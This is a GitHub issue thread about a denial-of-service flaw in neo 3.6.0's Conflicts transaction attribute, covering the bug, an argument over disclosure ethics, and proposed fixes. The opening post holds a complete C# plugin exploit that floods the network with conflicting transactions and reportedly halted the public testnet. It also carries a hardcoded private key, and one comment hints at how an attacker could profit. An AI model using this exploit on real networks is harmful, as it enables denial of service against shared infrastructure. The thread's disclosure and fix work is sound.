conflict attribute stops the network

[vang1ong7ang]

I think there may be some issues in transaction conflict checking introduced by neo 3.6.0.

anyone can make use of that and stop the entire network with little cost.

PoC:

1. write a neo plugin like below and install it
2. start neo-cli and type x, <enter>

(replace 4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc to your secret key if you want)

(replace 1_675_0800 to the correct network fee if necessary)

(replace UInt256.Zero to any tx hash if you want)

using Akka.Actor;
using Neo.IO;
using Neo.Network.P2P.Payloads;
using System;
using System.Linq;
using Neo.ConsoleService;
using Neo.Wallets;
using Neo.SmartContract;
using Neo.VM;
using Neo.SmartContract.Native;
using System.Threading.Tasks;

namespace Neo.Plugins
{
    public class Conflict : Plugin
    {
        private KeyPair KP = new KeyPair("4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc".HexToBytes());
        private NeoSystem NS;
        protected override void OnSystemLoaded(NeoSystem system) => NS = system;
        [ConsoleCommand("x")]
        async private void X()
        {
            Transaction tx = new Transaction
            {
                Version = 0,
                Nonce = 0,
                SystemFee = 0,
                NetworkFee = 1_675_0800,
                ValidUntilBlock = NativeContract.Ledger.CurrentIndex(NS.StoreView) + 1024,
                Script = new byte[] { ((byte)Neo.VM.OpCode.RET) },
                Attributes = new TransactionAttribute[] { new Conflicts { Hash = UInt256.Zero } },
            };

            await Task.Run(() =>
            {
                for (byte i = 0; i < 255; i++)
                    for (byte j = 0; j < 255; j++)
                        for (byte k = 0; k < 255; k++)
                            for (byte l = 0; l < 255; l++)
                            {
                                KeyPair[] kps = new KeyPair[] { KP }.Concat(Enumerable.Range(0, 14).Select(v => new byte[] { 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, i, j, k, l, (byte)v, 0, 0, 0, 0, 0, 0, 37 }).Select(v => new KeyPair(v))).ToArray();
                                tx.Signers = kps.Select(v => new Signer { Account = Contract.CreateSignatureContract(v.PublicKey).ScriptHash, Scopes = WitnessScope.None }).ToArray();
                                tx.Witnesses = kps.Select(v => new Witness { InvocationScript = new byte[] { ((byte)OpCode.PUSHDATA1), 64 }.Concat(tx.Sign(v, NS.Settings.Network)).ToArray(), VerificationScript = Contract.CreateSignatureContract(v.PublicKey).Script }).ToArray();
                                NS.LocalNode.Tell(new Network.P2P.LocalNode.SendDirectly { Inventory = tx });
                                Console.WriteLine($"TX SEND: {i}:{j}:{k}:{l}");
                            }
            });
        }
    }
}

[vang1ong7ang]

a sample transaction sent is like https://testnet.neotube.io/transaction/0xfe03b9dfaa2b57735bfd2114a397941f303a295cff551fa41bdaf3b804e82295

[vang1ong7ang]

the testnet n3t5 has already been paused for 90 mins because of those transactions at block https://testnet.neotube.io/block/2690040

[vncoelho]

My friend @vang1ong7ang , it is good to have you here exploring this.

In fact, this PR was merged but I was still blocking it because I was worried about stopping the network with low costs attacks due to txs replacement on the memory pool.

I see that you used a similar strategy.

[vncoelho]

Do you have a fix in mind?

[roman-khimov]

IIUC, that'd be a limit for stored signers, should be sufficient.

[roman-khimov]

It'd be nice to not break the testnet again though.

[vang1ong7ang]

Do you have a fix in mind?

@vncoelho I don't have a fix yet but I support your point. the current tx replacement mechanism is risky.

we haven't fully determined what causes this. but I'm sure it's related to conflict attribute.

essentially by using different accounts to send the same conflict attribute, the blockchain will stop.

[vang1ong7ang]

IIUC, that'd be a limit for stored signers, should be sufficient.

@roman-khimov I guess there are additional limitations elsewhere like stack item size or something else

[vncoelho]

That is it,my friend. Good find from you and your team as always.

I tried to warn before that this was a dangerous feature for mempool. This feature, in my opinion, should be something for a native smart contracts.

If so, lets revert the PR for now and update nodes 3.6.0 with a patch.

[dusmart]

It'd be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

[roman-khimov]

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything. But the list can grow and just needs a limit.

Mempool is also safe wrt this, btw.

[vncoelho]

But maybe there is a fix. My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash. I can just check this further on next Monday.

[vncoelho]

It'd be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

Maybe because of autoheal functions

[vang1ong7ang]

But maybe there is a fix. My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash. I can just check this further on next Monday.

I believe there will be better solutions on transaction replacement, even with little modification.

as you said, the current transaction replacement mechanism may even result in completely different memory pools for each (consensus) node, and it's even possible to stop the consensus. we haven't do the PoC yet, but in our mind, it's a possible attack.

[vang1ong7ang]

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything. But the list can grow and just needs a limit.

Mempool is also safe wrt this, btw.

I'm not sure but I feel, some StackItem limitation is trigged here.

[roman-khimov]

it's even possible to stop the consensus

Nope. CNs can and often do have different mempools, it's completely OK. They will get missing transactions and conflicting mempooled transactions do not prevent that, only the proposed (PrepareRequest) list should be consistent. IIRC this was even discussed in #2818.

[shargon]

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

[roman-khimov]

I'm not sure but I feel, some StackItem limitation is trigged here.

Sorry, I'm always forgetting C# node serializes many things a bit differently (via proper stack/stack items). This can be an issue. Likely Go nodes don't fail that quickly (at least until the list becomes insanely big).

[AnnaShaleva]

Conflicting hashes are a part of the TransactionState structure: https://github.com/neo-project/neo/blob/520795601cdc3bec0ad1391082db3d4d5d417ccc/src/Neo/SmartContract/Native/LedgerContract.cs#L50-L57

TransactionState is being serialized as a proper native Ledger storage item so technically it may be some size limitation exceeded:

https://github.com/neo-project/neo/blob/520795601cdc3bec0ad1391082db3d4d5d417ccc/src/Neo/SmartContract/Native/TransactionState.cs#L83

I'm not sure but I feel, some StackItem limitation is trigged here.

So that may be true.

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything.

And that may be true as far, because it requires intensive storage access.

But the list can grow and just needs a limit.

This would help, it would be a nice solution, just limit the possible number of conflicting hashes in the TransactionState structure and reject the new mempooled conflicting transactions (if any).

[dusmart]

Sorry, I'm always forgetting C# node serializes many things a bit differently (via proper stack/stack items).

There is indeed some inconsistency between C# (Fault) and golang (Halt).

curl 'http://seed1t5.neo.org:20332/' \
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'

curl 'https://rpc.t5.n3.nspcc.ru:20331/' \ 
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'

[vang1ong7ang]

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@shargon tell me the suggestions unless those suggestions brings additional works or troubles to us

[shargon]

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@shargon tell me the suggestions unless those suggestions brings additional works or troubles to us

@vang1ong7ang You should never try any type of attack with the official testnet or mainnet, use your own private network, otherwise if it's confirmed, it could lead to a fork or worse still, that a third party abuses said attack and you are directly or indirectly responsible for its exploitation.

We have private chats for sharing sensitive information (https://github.com/neo-project/neo/issues/2950).

[vang1ong7ang]

@shargon okay thanks for the kindly reminder.

I prefer public discussion if possible and unfortunately you should understand sometimes attack experiments have to appear on mainnet or testnet, although they are the last choice, especially because there is nothing like mainnet fork toolkit on neo. But we are not willing to cause any damage on purpose and trying to avoid any kind of damage.

Private networks often do not provide good experimental conditions. and, to be honest, we have weak computer skills and it's really hard for us to prepare a testnet / mainnet like private network for neo.

the running version is 3.5.0 not the discussed 3.6.0, so it's harmless to discuss publicly.

It's not good to ask too much to a vulnerability reporter, otherwise, if reporters give up, if the bug could lead to a fork or worse still, that a third party abuses said attack and neo, you and other related devs are directly or indirectly responsible for its exploitation.

We do report bug in private channel, but only critical ones. (actually you don't know what has happend in the private channel since it's private)

---

actually there is weak security responding mechanism on neo. even private channel talks will result in public pull requests. black hackers should watch PRs, issues in the organization and millions of dollars are hiding inside them

BTW if some bad guys are observing the discussion on github NOW, he should make use of the hardfork of 3.5.0 and 3.6.0 NOW by pining a conflict state into a transaction and deposit his funds into binance in the same transaction and wait for the return back of his money when the upgrade comes

to take the responsibility, you should push to stop the upgrading before the fork is fixed.

[dusmart]

This is not the most responsible way to communicate these kind of issues.

tell me the suggestions unless those suggestions brings additional works or troubles to us

Those words really hurts. There is always better ways to submit a report. Likely, there is always better ways to do a hard-fork.

Developers don't like to add the hard-fork logics such as adding conflict attribute because of over burden and want to keep the code concise. Security researchers also don't like to build a full-function private net (with an explorer and to prove to all that the net is similar to testnet/mainnet) out of the same reason. When it comes to a really serious bug, he had indeed taken care of the overall situation.

NEO developers believe that no one will hack the mainnet using those hard-forks and the upgrade can be done easily with a re-sync. Security researchers also don't think others will replay this POC on testnet without earning any profit.

DISCLAIMER: Do not use any of the material presented here to cause harm. I will find out where you live, I will surprise you in your sleep and I will tickle you so hard that you will promise to behave until the end of your days. from Tanya

[vncoelho]

I am 100% aligned with @vang1ong7ang . Furthermore, I have a strong respect for him and all his work on Neo Ecosystem. He has been responsible for the report of some critical issues, all done with 100% of responsibility.

Thus, the focus here is to solve the issue. The first problem here was the hurry to merge the PR, and , as I said, I was still with a reject on it, @shargon . Now, it is time to fix it or revert.

[shargon]

all done with 100% of responsibility.

In computer security, coordinated vulnerability disclosure (CVD, formerly known as responsible disclosure) is a vulnerability disclosure model in which a vulnerability or an issue is disclosed to the public only after the responsible parties have been allowed sufficient time to patch or remedy the vulnerability or issue.

https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure <- I could look up thousands of other examples if you want.

@vncoelho This is the first time I've seen denying service from a public network, as well as disclosing a security issue with the exploit so that anyone can continue to exploit it without fixing the problem, being treated as responsible. Let's exercise some judgment, please.

[vang1ong7ang]

IIUC, coordinated vulnerability disclosure and full disclosure are all pratical ways.

coordinated disclosure is just a form of disclosure and I don't see how this it is related to whether I'm responsible. responsible disclosure is just a name and please do not regard it as a necessary and sufficient condition for responsibility

The form of disclosure chosen depends on our assessment of the vulnerability's damage. we're trying to find a way to improve efficiency and reduce the damage.

@shargon should always know, the version 3.6.0 is NOT in production (mainnet). it is currently in public testing stage. and DoS vulnerabilities are usually treated as medium level.

[roman-khimov]

hard for us to prepare a testnet / mainnet like private network for neo.

We quite often do things with various types of nodes, both C# and Go. When we need some private network to experiment we usually take neo-bench and it creates one. It's built for completely different purpose originally (performance testing), but it just happens so that it has to create some proper running networks in the process. And it can do that for a single CN, four CNs, seven CNs, and even has scripts to create mixed setups (like 2 Go + 2 C# nodes).

It's not yet updated to 3.6, but it's not hard to do. And it can also build a C# node from the source code in the process (including any development branches if you like).

pining a conflict state into a transaction

It's not possible with 3.5.0.

push to stop the upgrading

No doubt, mainnet is not ready for 3.6. No doubt, the issue is serious. But I agree with @shargon that this public drama wasn't really required. It likely has affected ongoing hackathon for example, because people there are using testnet to try their projects. We had reported a number of various problems previously (I'm avoiding links this time, but there were some highly critical ones) without damaging any of the public networks. And obviously @shargon did the same multiple times. My expectation is that any white-hat hacker would do the same.

[vang1ong7ang]

@roman-khimov

we have weak computer skills and it's really hard for us to prepare a testnet / mainnet like private network for neo.

it's easy for you but hard for me, please understand

---

pining a conflict state into a transaction

you should know what I mean. it's related to #2841 and #2900 instead of this issue.

[dusmart]

it's related to #2841 and #2900 instead of this issue.

To be honest, I also deem this issue as a hard fork. It’s better to activate the new logic after the new hardfork-tag instead of activating it immediately after consensus’s upgrade. Two explorers of NEO has been stopped by this upgrade while there are only three. That’s probably because OneGate and Dora has not upgraded to 3.6.0. If it’s written in standard way, and good communications have been made to all explorers, I don’t think this would happen.

We all want to keep things concise. Blaming is easy. While if someone can provide a good solution such as building a really easy-to-use project with a explorer and some other features based on Axlabs’s job, I don’t think Vang like this drama. Such dramas didn’t even bring any replay on testnet while it indeed prevent a lot of issues on mainnet.

By the way, I’m not asking any developer to follow the strict hard-fork ways. I just want to show there is always better ways and that I understand the ways developers followed based on the NEO’s current situation. Let’s also understand Vang’s assessment to this vulnerability's damage.

If we lose his careful analysis just because 4 txs on testnet from 2 senders has been pended, I will feel regret.

[cschuchardt88]

@dusmart thats where https://github.com/neo-project/neo/security/policy comes into play. Seeing how everyone failed to mention this.

[vang1ong7ang]

@cschuchardt88 please remove the bug report issues template and shut down the channel for reporting vulnerabilities on github if what your mentioned is the only allowed channel.

[cschuchardt88]

No no, its ok i did the same with https://github.com/neo-project/neo/issues/2950. But someone had to say it. Also the button is right there when you click new issue. But i didn't see it either.

Plus i dont control this repo or org

[vang1ong7ang]

• i believe public discussion is always the best unless it causes irredeemable damage in production.
• I believe testnets do not provide any security and availability guarantees and they are the place for experiments and tests of applications and infrastructures.

[AnnaShaleva]

Alternative to Ledger's conflicting signers/transactions restriction

Problem

We have discussed with Roman and found several disadvantages of the scheme proposed in #2908 and in #2911. Just to remind, these two PRs assume the restriction of the number of conflicting signers/transactions per Ledger's conflict record and technically, they will solve the problem described in #2907. However, here is the case where this restriction scheme won't work properly:

Consider good and valid transaction A. Good and valid transaction B conflicts with A and has the corresponding attribute and valid signer (the same as A has). After that, consider a large set of malicious conflicting transactions with different malicious signers that also conflict with A. Consider that these malisious conflicts reach the consensus node before transaction B and the block with a large set of malicious conflicts is accepted. In normal case (without restrictions), this situation won't prevent transaction B from entering the pool. But in case of this new approach with MaxAllowedConflictingSigners/MaxAllowedConflictingTransactions restrictions, the on-chained malicious conflicts will prevent transaction B from entering the pool (because there's no more free space in the conflict record list that corresponds to A's hash). We consider it to be a quite bad vector for an attack.

Suggestions

So increasing the MaxAllowedConflictingSigners/MaxAllowedConflictingTransactions limits won't help in this attack. What we can do instead is to change the storage scheme of conflict records that are stored in the native Ledger contract. We suggest for each conflict record to have a key-value pair where the key is concatenated from {Prefix_Transaction (1 byte), conflictingTxHash (32 byte), signer (20 byte)} and the value is the block height of the transaction with the corresponding Conflicts attribute and signer. Then with this scheme we can safely get rid of public UInt160[] ConflictingSigners; and public uint ConflictingTransactionsCount; fields of the TransactionState class. As an optimisation, we suggest for each conflict record described above to store additional "dummy" record with key {Prefix_Transaction (1 byte), conflicitngTxHash (32 byte)} and empty value. Then, the newly-pooled transaction verification check will take:

• in the best case (when there's no on-chained conflicts for this transaction): only 1 DB read request;
• in the worst case (when there's at least one on-chained conflict for this transaction): exactly the number of signers + 1 DB read requests, i.e. 17 in the worst case when incoming transaction has all 16 signers set.

It's clear that this scheme takes additional storage space and adds some processing costs for those transactions that have conflicts. Thus, we also suggest to establish price for Conflicts attributes (it was initially suggested in https://github.com/neo-project/neo/issues/1991). That should be a significant value that is defined by the Committee and stored in the native Policy contract. So that malicious user has to pay for each Conflicts attribute and, even with that, he won't be able to significantly slow down the nodes or prevent consensus nodes from blocks accepting (remember, only 17 read request per transaction in the worst case of transaction with 16 signers). At the same time, for practical Conflicts attribute usage this price will be acceptable.

Prices

What Roman suggests on the Conflicts attribute price topic is: it costs 0.0057 GAS to store 33+20+4 bytes in the storage of some contract on Mainnet. Considering that the Conflicts attribute price should at least be competitive with the contract storage price, it is suggested for Conflicts attributes to be more expensive than the contract storage, thus, 0.02 GAS is suggested as a price for a single Conflicts attribute per transaction signer. E.g. transaction that has two Сonflicts attributes and three signers has to pay 0.02x2x3=0.12 GAS additionally to its basic network fee.

Conclusion

Such scheme doesn't involve any conflicting signers/transactions count constraint and doesn't make possible the attack described above. The scheme implementation won't take much effort, because it's very simple (in fact, it's similar to the way how blocked accounts are stored in the native Policy contract).

@vang1ong7ang, @shargon, @dusmart, @Liaojinghui, @vncoelho, @superboyiii and everyone who is interested in this topic, we suggest to consider this scheme, try to think about other possible vectors of attack and implement this scheme instead of #2908 and #2911.

Additional information

This scheme is completely free from the problem described in https://github.com/neo-project/neo/issues/2907#issuecomment-1721257254, because the value of the conflict record storage item contains either the block index or an empty byte array at all.

[EdgeDLT]

Apologies if I may not have read all comments thoroughly enough or misunderstood something, but why allow conflicting tx from different signers at all?

EDIT: Disregard, it is a misunderstanding indeed. Conflicting tx from different signers is not permitted, but that fact doesn't prevent the mempool from being overloaded with them.

[dusmart]

Apologies if I may not have read all comments thoroughly enough or misunderstood something, but why allow conflicting tx from different signers at all?

It’s designed (based on current implementation) to not allow the scenes you’re talking about. Technically, blockchain can not know a tx’s signer based on only its hash, that’s why we can’t prevent a tx declare a Conflict to other signers’ tx. But your question gives us a new idea. We can force the tx declare a Conflict with not only the hash but also a signer it using. And that would be a choice.

And maybe there should comes a detailed explanation on that new feature. I didn’t know the design details like you before. Comments are too much to read. If this feature comes with the NEP-xxx at first https://github.com/neo-project/proposals, it would be much better for us to understand.

BTW For a tx that has already been on chain, if another tx want to conflict previous one, it will be rejected whether or not they contains a same singer.

And to be honest, my opinion on this feature is that I won’t need this feature. It introduced too many changes to the blockchain and may introduce risks such as this issue. If we want to fix this issue it introduced, Anna indeed did a good job compared to the previous #2908.

[EdgeDLT]

It’s designed to not allow what you’re talking about.

I see. I read "essentially by using different accounts to send the same conflict attribute, the blockchain will stop." from @vang1ong7ang, which is what raised the question in my mind. I will familiarize myself with the current implementation before leaving any further comments. Or perhaps I should just leave it to the experts anyway 🙂

Maybe you should read the comments thoroughly

I see you edited this part out, which I am grateful for, but I want to address it all the same. Tensions are clearly a little high on this issue, but this is the sort of thing that can generate a culture problem, and that will kill the social layer of this platform dead. Forget the code if we allow that to happen.

Let me be clear. I may not understand, but I am here because I want to understand. My hope is that this is encouraged, not discouraged, as it has been in the past. In this very thread you complain of hurtful words, and request patience for researchers from outside the core. I hope in future you can put into practice the same extension of basic respect to others that you are requesting for yourself.

I won't pollute the issue any further, and again, my apologies for the derailment.

[dusmart]

In this very thread you complain of hurtful words, and request patience for researchers from outside the core. I hope in future you can put into practice the same extension of basic respect to others that you are requesting for yourself.

Sorry the words hurt you. I didn’t mean to hurt you. Apologize for that. Great to have you here. I’m also out of the core.

Or perhaps I should just leave it to the experts anyway 🙂

Nope. You’re always welcome here. I think everyone’s opinion could affect their decision. And your concerns are what that new PR could bring if I can find some attack vectors. trying to find new ideas …

Tensions are a clearly a little high on this issue

Well. You’re right about that. I indeed feel unfair that a researcher didn’t get good feedback based on his work that could prevent mainnet’s loss. On the contrary, @shargon criticized him for paused the network first. That’s why my words are inappropriate in this thread. Sorry again. Trying my best to forget these tiny details and come back to focusing on the issue itself

I see you edited this part out

Yes. I also feel inappropriate after I clicked the PR’s thread. Too many to read

[dusmart]

To be honest, I also deem this issue as a hard fork.

I should correct my judgement. It’s a standard soft fork. It requires every other node upgrade as soon as possible after consensus’s upgrade. Otherwise, they will stuck right after a tx using the new feature.

[roman-khimov]

And maybe there should comes a detailed explanation on that new feature.

Like #1991?

[vang1ong7ang]

but why allow conflicting tx from different signers at all?

but that fact doesn't prevent the mempool from being overloaded with them.

@EdgeDLT the idea is very reasonable. I also had the same question when I saw the conflict attribute. and later I realized that without signers checking, one can maliciously deny others' transactions.

however, as you said, the mempool and block verification are overloaded with current impl.

A funny fact is, in neo 2.0, users are able to cancel transactions with the help of UTXO gas. (because the UTXO can not be reused as input in two transactions)

I am wondering if there are some lightweight solutions.

[vang1ong7ang]

@AnnaShaleva indeed.

I will add an attack scenario below that should be noted:

by introducing MaxAllowedConflictingSigners:

2023-09-20 00:00:00 ADAM SEND TX { HASH = 0x1234 SINGEDBY = ADAM }
2023-09-20 00:00:01 ADAM SEND TX { HASH = 0x5678 SINGEDBY = ADAM CONFLICT = 0x1234 }
2023-09-20 00:00:02 TX { HASH = 0x5678 SINGEDBY = ADAM CONFLICT = 0x1234 } COMMITTED
2023-09-20 00:00:02 TX { HASH = 0x1234 SINGEDBY = ADAM } DROPPED
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0001 SINGEDBY = ANON_0001 CONFLICT = 0x1234 }
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0002 SINGEDBY = ANON_0002 CONFLICT = 0x1234 }
2023-09-20 00:00:03 ATTACKER SEND TX { HASH = 0x0003 SINGEDBY = ANON_0003 CONFLICT = 0x1234 }
... ...
// until MaxAllowedConflictingSigners is triggered

2023-09-20 00:00:16 ATTACKER SEND TX { HASH = 0x1234 SINGEDBY = ADAM }
2023-09-20 00:00:17 TX { HASH = 0x1234 SINGEDBY = ADAM } COMMITTED // REPLAYED

[vang1ong7ang]

I think the solution @AnnaShaleva mentioned above is better than the existing ideas. with detailed and rigorous analysis.

to my surprise he / she even calculated the GAS cost with @roman-khimov . otherwise this would be an opportunity to abuse on-chain storage.

should it be network fee or system fee?

[dusmart]

And maybe there should comes a detailed explanation on that new feature.

Like #1991?

Lol, you are the indexer of NEO.

Frankly speaking, it's a good explanation to me. I also rely on the code and experiment. And it contains the background information in details, I learn the PR quickly. But it can't remove the doubts that probably arise in the minds of others like EdgeDLT's. I also did have that concerns before I read the code and did my experiments.

[vncoelho]

@AnnaShaleva @roman-khimov I understand and support your efforts. But we are, again, discussing similar strategies that made me reject the PR before due to possible attack vectors like this. Do you remember our discussions, @AnnaShaleva?

I am not in favor of all these complex logics on mempool right now. This should be a layer 2 or a native smart contract.

I think the feature is good, but right now it should not be on the p2p layer. Maybe in a near future when we address other improvements that this layer needs.

[dusmart]

@AnnaShaleva indeed.

I will add an attack scenario below that should be noted:

Great idea. I didn't think that would be a problem before. #2908 combined with #2909 tried to fix the order issue which is discovered by you, while it introduced this new attack vector then.

BTW, they could prevent this attack vector by not allowing the number of signers who want to conflict a same tx to exceed 100 in the memory pool code and not let the code's Take work at all. https://github.com/neo-project/neo/blob/cb90c5c9e5e116d23fdd96ddf9a4d66bddd77b5b/src/Neo/SmartContract/Native/LedgerContract.cs#L59

But Annas' concern will be a hard problem to fix in that limiting solution.

THE FIXING WORK IS NOT EASY. MAYBE WE NEED TO GIVE THIS FIX A LITTLE MORE TIME

[vang1ong7ang]

BTW, they could prevent this attack vector by not allowing the number of signers who want to conflict a same tx to exceed 100 in the memory pool code and not let the code's Take work at all.

this would make mempool and p2p even worse complex and overloaded.

[AnnaShaleva]

@EdgeDLT, thank you for your question on the topic.

Conflicting tx from different signers is not permitted

Some malicious conflicting transaction may have signers that do not intersect with base transaction's signers, and to properly validate these cases we need to store signers of the conflicting transaction in the native Ledger.

but that fact doesn't prevent the mempool from being overloaded with them

The mempool economy for conflicting transactions follows the same rules as for simple transactions. Of course, it has some caveats that prevents malicious scenarios, e.g. to replace a batch of conflicting transactions by some other transaction, its fee must be greater than the sum of transactions from batch (see the https://github.com/neo-project/neo/pull/2818/commits/6c9b0f577edc93684ff34c8af8e2ec2fa83fc65d). So basically, if you're able to pay - then OK, send as many transactions as your balance allows. We also have implemented Conflicts fee functionality in #2913.

@vang1ong7ang, your test scenario from https://github.com/neo-project/neo/issues/2907#issuecomment-1722596148 is relevant for #2908, that's true, thank you for the submitting. So we introduce another scheme that is able to prevent this kind of attack, see the #2913, please.

should it be network fee or system fee?

It's a pure part of a network fee, let the system fee pay for the transaction's script execution.

@vncoelho, I get your point and concerns, but we are craving for a solution for on-chain multi-signature transactions forming. We have the notary subsystem that is scrupulously designed and tested on NeoFS sidechain for more than a year and it works. So I really beleave that bugs like the current one are good and allow to build the solution that really works. It's nothing critical happened here, I sure that we'll fix this and move further. And it's also really good that developers are trying to test this new feature. It may seem to be a bit complicated from the first glance, but it's possible to understand this and we have really good proposals and documentation on each part of the Notary subsystem.

@dusmart, thank you also for getting into this topic, it's really important to properly design and test this fix.

So everyone who is interested, we invite you to review the #2913 - the implementation of https://github.com/neo-project/neo/issues/2907#issuecomment-1722506014 that is aimed to fix this issue.

[vang1ong7ang]

@vncoelho @AnnaShaleva @EdgeDLT @dusmart

just like what @vncoelho commented:

This should be a layer 2 or a native smart contract.

I'm wondering why don't we solve this conflict transaction problem at the application layer.

by introducing a public shared contract (a common contract or a native contract) with a Nonce method like:

static void Nonce(Uint160 account, BigInteger nonce) {
    Runtime.CheckWitness(account);
    var val = storage.Get(account);
    ExecutionEngine.Assert(nonce == val);
    storage.Put(account, nonce + 1);
}

then it is able to impl the conflict transaction by prefix the original script with NonceContract.Nonce(nonce);

note that the nonce behaves differently with ethereum account nonce because it is running in the application layer without modifying the fundamental mechanism and only successful transactions update the nonce

and although conflicted transactions are also packed into the block, those transactions fail at the beginning, which means, no side effects. AND, even users pay both the successful and failed transactions, the total fee can be less than #2913